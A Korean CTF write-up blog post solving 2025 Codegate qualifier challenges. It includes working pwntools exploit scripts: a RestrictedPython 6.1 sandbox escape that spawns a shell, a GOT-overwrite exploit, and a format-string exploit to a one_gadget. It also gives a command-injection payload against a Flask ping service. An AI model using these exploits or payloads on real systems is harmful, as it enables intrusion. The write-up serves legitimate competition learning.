CTF/writeup

2025 codegate CTF quals writeup

shielder 2025. 4. 9. 23:20
  1. misc/Hello Codegate
  2. misc/Captcha World
  3. misc/safePythonExecutor
  4. pwn/What's Happening?
  5. pwn/Magic Palette
  6. crypto/Encrypted flag
  7. rev/inital
  8. rev/C0D3Matr1x
  9. web/Ping Tester

misc/Hello Codegate

디코 notice 채널에 플래그가 나와있다.


misc/Captcha World

캡챠를 입력해야 한다. 근데 10번만 하면 되기 때문에 그냥 직접 입력해주면 된다.


misc/safePythonExecutor

FROM python:3.11@sha256:68a8863d0625f42d47e0684f33ca02f19d6094ef859a8af237aaf645195ed477

ENV user safe_python_executor
ENV chall_port 42424

RUN apt-get update
RUN apt-get -y install socat adduser python3-pip netcat-traditional

RUN pip3 install RestrictedPython==6.1

RUN adduser -u 4103 $user

ADD ./deploy/executor.py /home/$user/executor.py

RUN chown $user:root /home/$user/
RUN chmod 755 /home/$user/executor.py

WORKDIR /home/$user
EXPOSE $chall_port
CMD socat TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:"su -c 'python3 executor.py' $user",stderr

중요한 것은 RestrictedPython==6.1이다. CVE를 찾아보니 format, format_map, formatter 쪽에 필터링 실패 취약점이 있다고 한다.

https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf23/pyjail/rattler-read/writeup/README.md

위의 라업 논리를 그대로 따라가면 똑같은 방법으로 풀 수 있다.

exploit.py

from pwn import *

p = remote('3.35.196.167', 42424)
#p = process(['python3', 'prob.py'])

#dt = '''string.Formatter().get_field("a.__class__.__base__.__subclasses__", [], {"a": ""})[0]()[84].load_module("os").system("sh")'''
dt = '''
class Baz(string.Formatter): pass; get_field = lambda self, field_name, args, kwargs: (string.Formatter.get_field(self, field_name, args, kwargs)[0]("/bin/sh"), ""); 
Baz().format("{0.Random.__init__.__globals__[_os].system}", random)
'''.replace('\n', '\r')
p.sendlineafter(b': ', dt)
p.send(b'\n')
p.interactive()

pwn/What's Happening?

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  int v4; // r8d
  int v5; // r9d
  int v6[2]; // [rsp+18h] [rbp-68h] BYREF
  int v7[2]; // [rsp+20h] [rbp-60h]
  char *v8; // [rsp+28h] [rbp-58h]
  char s[8]; // [rsp+30h] [rbp-50h] BYREF
  __int64 v10; // [rsp+50h] [rbp-30h] BYREF
  int v11[2]; // [rsp+60h] [rbp-20h] BYREF
  unsigned __int64 v12; // [rsp+68h] [rbp-18h]

  v12 = __readfsqword(0x28u);
  init(argc, argv, envp);
  *(_QWORD *)v7 = &objects;
  init_solar_system(&objects);
  puts("Planet Distance Calculator v1.0");
  while ( 1 )
  {
    menu();
    v3 = prompt();
    if ( v3 == 3 )
      break;
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        printf("Enter planet index to update (0-12): ");
        __isoc99_scanf("%ld", v6);
        printf("Enter planet name: ");
        getchar();
        if ( fgets(s, 32, stdin) )
        {
          v8 = strchr(s, 10);
          if ( v8 )
            *v8 = 0;
        }
        printf("Enter AU value: ");
        __isoc99_scanf("%lf", &v10);
        printf("Enter color (0-10): ");
        __isoc99_scanf("%d", &v11[1]);
        update(v7[0], v6[0], v7[0], v11[0], v4, v5, s[0]);
      }
      else if ( v3 == 2 )
      {
        print_solar_system(*(_QWORD *)v7);
      }
    }
  }
  _exit(0);
}

pie가 꺼져 있다. Partial RELRO이다. 행성 정보 업데이트를 하는데 음수 인덱스를 안 막아 놔서 oob가 발생한다. 그래서 got overwrite가 된다. puts got을 win 함수로 덮으면 된다. system got이 망가지긴 하는데, pie가 꺼져 있어서 그냥 다시 입력 해주면 된다.

exploit.py

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

#p = process('./prob')
p = remote('3.37.174.221', 33333)
e = ELF('./prob')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', b'-3')
p.sendlineafter(b': ', p64(e.sym['win']) + b'a' * 8 + p64(0x401080))
p.sendlineafter(b': ', b'0')
#gdb.attach(p)
p.sendlineafter(b': ', b'0')
p.interactive()

pwn/Magic Palette

unsigned __int64 __fastcall print_palette(_QWORD *a1)
{
  int v1; // eax
  int v2; // eax
  unsigned __int16 v4; // [rsp+16h] [rbp-102Ah]
  unsigned int i; // [rsp+18h] [rbp-1028h]
  unsigned int j; // [rsp+1Ch] [rbp-1024h]
  int v7; // [rsp+24h] [rbp-101Ch]
  int v8; // [rsp+28h] [rbp-1018h]
  _BYTE v9[16]; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v10; // [rsp+1038h] [rbp-8h]
  __int64 savedregs; // [rsp+1040h] [rbp+0h] BYREF

  v10 = __readfsqword(0x28u);
  handle_output(a1, v9);
  for ( i = 0; i <= 0x3F; ++i )
  {
    for ( j = 0; j <= 0x3F; ++j )
    {
      v4 = *(_WORD *)(*a1 + ((unsigned __int64)i << 7) + 2LL * j);
      if ( (v4 & 0x1000) != 0 )
      {
        v7 = (v4 >> 4) & 0xF;
        if ( (v4 & 0xF) + j <= 0x40 && v7 + i <= 0x40 )
        {
          if ( (v4 & 0x400) != 0 )
            v1 = -(v4 & 0xF);
          else
            v1 = v4 & 0xF;
          v8 = v1;
          if ( (v4 & 0x800) != 0 )
            v2 = -v7;
          else
            v2 = (v4 >> 4) & 0xF;
          j += v8;
          i += v2;
        }
      }
      else if ( (v4 & 0x8000u) == 0 )
      {
        putchar(*((char *)&savedregs + 64 * (unsigned __int64)i + j - 4112));
      }
      else
      {
        printf(&v9[64 * (unsigned __int64)i + j]);
      }
    }
    putchar(10);
  }
  return v10 - __readfsqword(0x28u);
}

print_palette에서 입력 때 조건을 좀 맞춰주면 FSB가 터진다.

void *__fastcall handle_output(_QWORD *a1, void *a2)
{
  void *result; // rax
  char v3; // cl
  int i; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]

  result = memset(a2, 0, 0x1000uLL);
  for ( i = 0; i <= 63; ++i )
  {
    for ( j = 0; j <= 63; ++j )
    {
      if ( (*(_WORD *)(*a1 + ((__int64)i << 7) + 2LL * j) & 0x2000) != 0 )
      {
        result = (void *)j;
        *((_BYTE *)a2 + 64 * (__int64)i + j) = 0;
        break;
      }
      if ( *(__int16 *)(*a1 + ((__int64)i << 7) + 2LL * j) >= 0
        || (*(_WORD *)(*a1 + ((__int64)i << 7) + 2LL * j) & 0x1000) != 0 )
      {
        if ( (*(_WORD *)(*a1 + ((__int64)i << 7) + 2LL * j) & 0x4000) != 0 )
          v3 = 35;
        else
          v3 = 32;
        result = (void *)j;
        *((_BYTE *)a2 + 64 * (__int64)i + j) = v3;
      }
      else
      {
        result = (void *)j;
        *((_BYTE *)a2 + 64 * (__int64)i + j) = *(_WORD *)(*a1 + ((__int64)i << 7) + 2LL * j);
      }
    }
  }
  return result;
}

k라는 바이트를 출력하고 싶으면 k + b'\x80'을 입력해주면 된다. FSB가 무제한이므로 릭은 얼마든지 할 수 있다.

원가젯은

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

이걸 쓰고, r12를 0으로 만들어줬다. FSBprintf 내부 스택 프레임의 pop r12와 ret 부분에 덮어줘서 해결했다. Merry Christmas문제에서 사용한 기법이다.

exploit.py

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

def rp(payload : bytes):
    p.sendlineafter(b'> ', b'1')
    for i in range(len(payload)):
        p.send(payload[i:i+1] + b'\x80')
    for i in range(len(payload), 64 * 64):
        p.send(b'\x00\x60')

def mc(x : int, y : int):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'x > ', str(x).encode())
    p.sendlineafter(b'y > ', str(x).encode())

def pp():
    p.sendlineafter(b'> ', b'3')
    return p.recvline()[:-1]

#p = process('./prob')
p = remote('43.203.137.197', 54321)
l = ELF('./libc.so.6')

num = 6 + (0x7ffc25f12bc0 - 0x7ffc25f11b80) // 8
payload = f'%{num}$p%{num+9}$p'
rp(payload.encode())

msg = pp()
mainrbp = int(msg[:14].decode(), 16)
l.address = int(msg[14:28].decode(), 16) - (0x7fea359d0d90 - 0x7fea359a7000)
print(hex(mainrbp))
print(hex(l.address))

# mainrbp = 0x7ffd93f7aff0
# r12 = 0x7ffd93f79e70
# ret = 0x7ffd93f79e88

og = l.address + 0xebd38
r12 = mainrbp + (0x7ffd93f79e70 - 0x7ffd93f7aff0)
ret = mainrbp + (0x7ffd93f79e88 - 0x7ffd93f7aff0)
payload = '%17$n%18$n'
payload += f'%{(og & ((1 << 16) - 1))}c'
payload += f'%19$hn'
payload += f'%{((og >> 16) & ((1 << 16) - 1)) - (og & ((1 << 16) - 1)) + 0x10000}c'
payload += f'%20$hn'
payload += 'a' * 4
print(hex(0x28 - len(payload)))
payload = payload.encode()
payload += p64(r12)
payload += p64(r12 + 4)
payload += p64(ret)
payload += p64(ret + 2)
mc(0, 0)
rp(payload)
#gdb.attach(p, f"b* {l.address + (0x7f8ac570c734 - 0x7f8ac5695000)}")
p.sendlineafter(b'> ', b'3')
p.interactive()

crypto/Encrypted flag

q = nextprime(p) 관계이므로, sqrt(n)에서 nextprime 취해주면 금방 q를 구할 수 있다. p, q 구할 수 있으니까 끝났다.

exploit.py

from Crypto.Util.number import long_to_bytes
from sympy import nextprime
import gmpy2

n = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559
e = 65537
eflag = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159

p = gmpy2.iroot(n, 2)[0]
q = nextprime(p)
while n % q:
    q = nextprime(q)
print(q)

p = n // q
e = 65537

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

c = pow(eflag, d, n)

print(long_to_bytes(c))

rev/inital

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-3Ch]
  int j; // [rsp+8h] [rbp-38h]
  int k; // [rsp+Ch] [rbp-34h]
  char s[31]; // [rsp+10h] [rbp-30h] BYREF
  char v8; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  __isoc99_scanf("%32s", s);
  if ( strlen(s) == 32 )
  {
    for ( i = 0; i <= 30; ++i )
      s[i] ^= s[i + 1];
    v8 ^= s[0];
    for ( j = 0; j <= 31; ++j )
      s[j] = sub_11A9(byte_4020[(unsigned __int8)s[j]], j & 6);
    for ( k = 0; k <= 31; ++k )
    {
      if ( s[k] != byte_4120[k] )
      {
        puts("Wrong!");
        return 0LL;
      }
    }
    puts("Correct!");
    return 0LL;
  }
  else
  {
    puts("Wrong length");
    return 1LL;
  }
}
__int64 __fastcall sub_11A9(unsigned __int8 a1, char a2)
{
  return (unsigned __int8)((a1 << (8 - a2)) | ((int)a1 >> a2));
}

s가 32바이트여야 한다. xor과, bit shift를 거친 후 답과 확인한다. 연산이 간단하므로 역연산해준다.

from pwn import *

e = ELF('./prob')
dt = e.read(0x4020, 0x100)
ans = e.read(0x4120, 0x20)

flag = list()

def f(a1 : int, a2 : int):
    return ((a1 >> (8 - a2)) | (a1 << a2)) & 0xff

for i in range(32):
    c = ans[i]
    c = f(c, i & 6)
    c = dt.index(c)
    flag.append(c)

for i in range(31, -1, -1):
    flag[i] ^= flag[(i + 1) % 32]

for i in range(32):
    print(chr(flag[i]), end="")
print()

rev/C0D3Matr1x

// bad sp value at call has been detected, the output may be wrong!
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v3; // rcx
  __int64 v4; // rax
  int v5; // eax
  int v7; // [rsp+0h] [rbp-4BE8h]
  int i; // [rsp+4h] [rbp-4BE4h]
  int j; // [rsp+8h] [rbp-4BE0h]
  int k; // [rsp+Ch] [rbp-4BDCh]
  int m; // [rsp+10h] [rbp-4BD8h]
  int n; // [rsp+14h] [rbp-4BD4h]
  int ii; // [rsp+18h] [rbp-4BD0h]
  int jj; // [rsp+1Ch] [rbp-4BCCh]
  int kk; // [rsp+20h] [rbp-4BC8h]
  int mm; // [rsp+24h] [rbp-4BC4h]
  int nn; // [rsp+28h] [rbp-4BC0h]
  int i1; // [rsp+2Ch] [rbp-4BBCh]
  _DWORD v19[576]; // [rsp+38h] [rbp-4BB0h] BYREF
  _BYTE v20[2304]; // [rsp+938h] [rbp-42B0h] BYREF
  _BYTE v21[2304]; // [rsp+1238h] [rbp-39B0h] BYREF
  _BYTE v22[2304]; // [rsp+1B38h] [rbp-30B0h] BYREF
  _BYTE v23[2304]; // [rsp+2438h] [rbp-27B0h] BYREF
  _DWORD v24[576]; // [rsp+2D38h] [rbp-1EB0h] BYREF
  _QWORD v25[288]; // [rsp+3638h] [rbp-15B0h] BYREF
  _DWORD v26[676]; // [rsp+3F38h] [rbp-CB0h] BYREF
  _BYTE v27[32]; // [rsp+49C8h] [rbp-220h] BYREF
  _BYTE v28[496]; // [rsp+49E8h] [rbp-200h] BYREF
  int v29; // [rsp+4BD8h] [rbp-10h]
  unsigned __int64 v30; // [rsp+4BE0h] [rbp-8h]

  while ( &v25[182] != (_QWORD *)&v20[688] )
    ;
  v30 = __readfsqword(0x28u);
  setlocale(6, &locale);
  memset(v26, 0, sizeof(v26));
  memset(v19, 0, sizeof(v19));
  memset(v20, 0, sizeof(v20));
  memset(v21, 0, sizeof(v21));
  memset(v22, 0, sizeof(v22));
  memset(v23, 0, sizeof(v23));
  memset(v24, 0, sizeof(v24));
  memset(v25, 0, sizeof(v25));
  memset(v28, 0, sizeof(v28));
  v29 = 0;
  v7 = 0;
  for ( i = 0; i <= 11; ++i )
  {
    if ( (i & 1) != 0 )
    {
      v19[24 * (23 - i) + i] = 1;
      v3 = 23 - i;
      v4 = 24LL * i;
    }
    else
    {
      v19[25 * i] = 1;
      v3 = 23 - i;
      v4 = 24 * v3;
    }
    v19[v3 + v4] = 1;
  }
  __isoc99_scanf("%484[^\n]", v28);
  for ( j = 2; j <= 23; ++j )
  {
    for ( k = 2; k <= 23; ++k )
    {
      v5 = v7++;
      v26[26 * j + k] = (char)v28[v5];
    }
  }
  for ( m = 1; m <= 24; ++m )
  {
    for ( n = 1; n <= 24; ++n )
    {
      if ( !v26[26 * m + n] )
        v26[26 * m + n] = aC0d3gat3[(n - 1 + m - 1) % 8];
    }
  }
  sub_1527(v26, v20);
  sub_1919(v20);
  sub_1413(v20, v19, v21);
  sub_1413(v19, v21, v20);
  sub_1765(v20);
  sub_1249(v20, ::a1, v22);
  sub_1413(v22, a4, v23);
  sub_132E(v23, ::a2, v24);
  sub_132E(v23, ::a3, v25);
  for ( ii = 0; ii <= 23; ++ii )
  {
    for ( jj = 0; jj <= 23; ++jj )
    {
      if ( v24[24 * ii + jj] != dword_5620[24 * ii + jj] )
      {
        puts("Wrong");
        return 0LL;
      }
    }
  }
  system("clear");
  wprintf("\n");
  for ( kk = 0; kk <= 23; ++kk )
  {
    for ( mm = 0; mm <= 23; ++mm )
      wprintf("%", dword_3020[v24[24 * kk + mm] - 1]);
    for ( nn = 0; nn <= 23; ++nn )
      wprintf("%", dword_3020[*((_DWORD *)&v25[12 * kk] + nn) - 1]);
    wprintf("\n");
  }
  wprintf("\n");
  sub_1ACA(v28, v27);
  wprintf(U"FLAG: codegate2025{");
  for ( i1 = 0; i1 <= 31; ++i1 )
    wprintf(U"%02x", (unsigned __int8)v27[i1]);
  wprintf(U"}\n");
  return 0LL;
}

1527 : 3*3 -> 1 컨볼루션
1919 : 시계방향으로 90도 회전
1413 : 행렬곱
1765 : 반시계방향으로 90도 회전
1249 : 행렬덧셈
1413 : 행렬곱
132e : 행렬덧셈

결과물에서 역연산해준다. v19는 만들라는 대로 만들면 된다. 컨볼루션 역과정은, 처음에 가장 바깥 테두리는 0이고, 그 하나 안쪽 테두리는 고정값이라서 확정적으로 익스가 가능하다.

exploit.py

from pwn import *
from sage.all import *

e = ELF('./prob')

def btoi(arr):
    return [int.from_bytes(arr[i:i+4], 'little') for i in range(0, 576 * 4, 4)]

a1 = btoi(e.read(0x3220, 576 * 4))
a2 = btoi(e.read(0x3b20, 576 * 4))
a4 = btoi(e.read(0x4d20, 576 * 4))
ans = btoi(e.read(0x5620, 576 * 4))
a1 = [-(2 ** 32 - num) if num > 2**31 else num for num in a1]
a2 = [-(2 ** 32 - num) if num > 2**31 else num for num in a2]
a4 = [-(2 ** 32 - num) if num > 2**31 else num for num in a4]
ans = [-(2 ** 32 - num) if num > 2**31 else num for num in ans]
c = b'C0D3GAT3'

v19 = [0 for _ in range(576)]
v26 = [0 for _ in range(26 * 26)]

for i in range(12) :
    if ( (i & 1) != 0 ) :
        v19[24 * (23 - i) + i] = 1
        v3 = 23 - i
        v4 = 24 * i
    else :
        v19[25 * i] = 1
        v3 = 23 - i
        v4 = 24 * v3
    v19[v3 + v4] = 1

v19 = matrix(ZZ, 24, 24, v19)
v24 = matrix(ZZ, 24, 24, ans)
a1 = matrix(ZZ, 24, 24, a1)
a2 = matrix(ZZ, 24, 24, a2)
a4 = matrix(ZZ, 24, 24, a4)

v23 = v24 - a2
v22 = v23 * a4.inverse()
v20 = v22 - a1
v20 = v20[::-1].transpose()
v21 = v19.inverse() * v20
v20 = v21 * v19.inverse()
v20 = v20.transpose()[::-1]

for m in range(1, 25) :
    for n in range(1, 25) :
        if m == 1 or m == 24 or n == 1 or n == 24 :
            v26[26 * m + n] = c[(n - 1 + m - 1) % 8]

v26 = matrix(ZZ, 26, 26, v26)
flag = ""
for i in range(22):
    for j in range(22):
        num = v26[i, j] + v26[i, j + 1] + v26[i, j + 2] + v26[i + 1, j] + v26[i + 1, j + 1] + v26[i + 1, j + 2] + v26[i + 2, j] + v26[i + 2,j + 1]
        flag += chr((v20[i, j] - num) % 0xffff)
        v26[i + 2, j + 2] = (v20[i, j] - num) % 0xffff

print(flag)

web/Ping Tester

from flask import Flask, request, render_template
import subprocess

app = Flask(__name__)

@app.route('/', methods=['GET'])
def execute():
    return render_template('index.html')

@app.route('/ping', methods=['GET'])
def ping():
    ip = request.args.get('ip')
    if ip:
        result = subprocess.run(f"ping -c 3 {ip}", shell=True, capture_output=True, text=True)
        return render_template('ping.html', result=result.stdout)
    else:
        return render_template('ping.html', message="Please provide IP address.")

if __name__ == '__main__':
    app.run('0.0.0.0', port=5000, debug=True)

커맨드 인젝션이 된다. 1.1.1.1;cat flag하면 된다.

'CTF > writeup' 카테고리의 다른 글

2025 1753CTF writeup  (0) 2025.04.13
2025 squ1rrel CTF writeup  (0) 2025.04.10
2025 SSU CTF writeup  (0) 2025.04.09
2024 WaRP CTF writeup - misc  (2) 2025.01.06
2024 WaRP CTF writeup - pwn  (0) 2025.01.05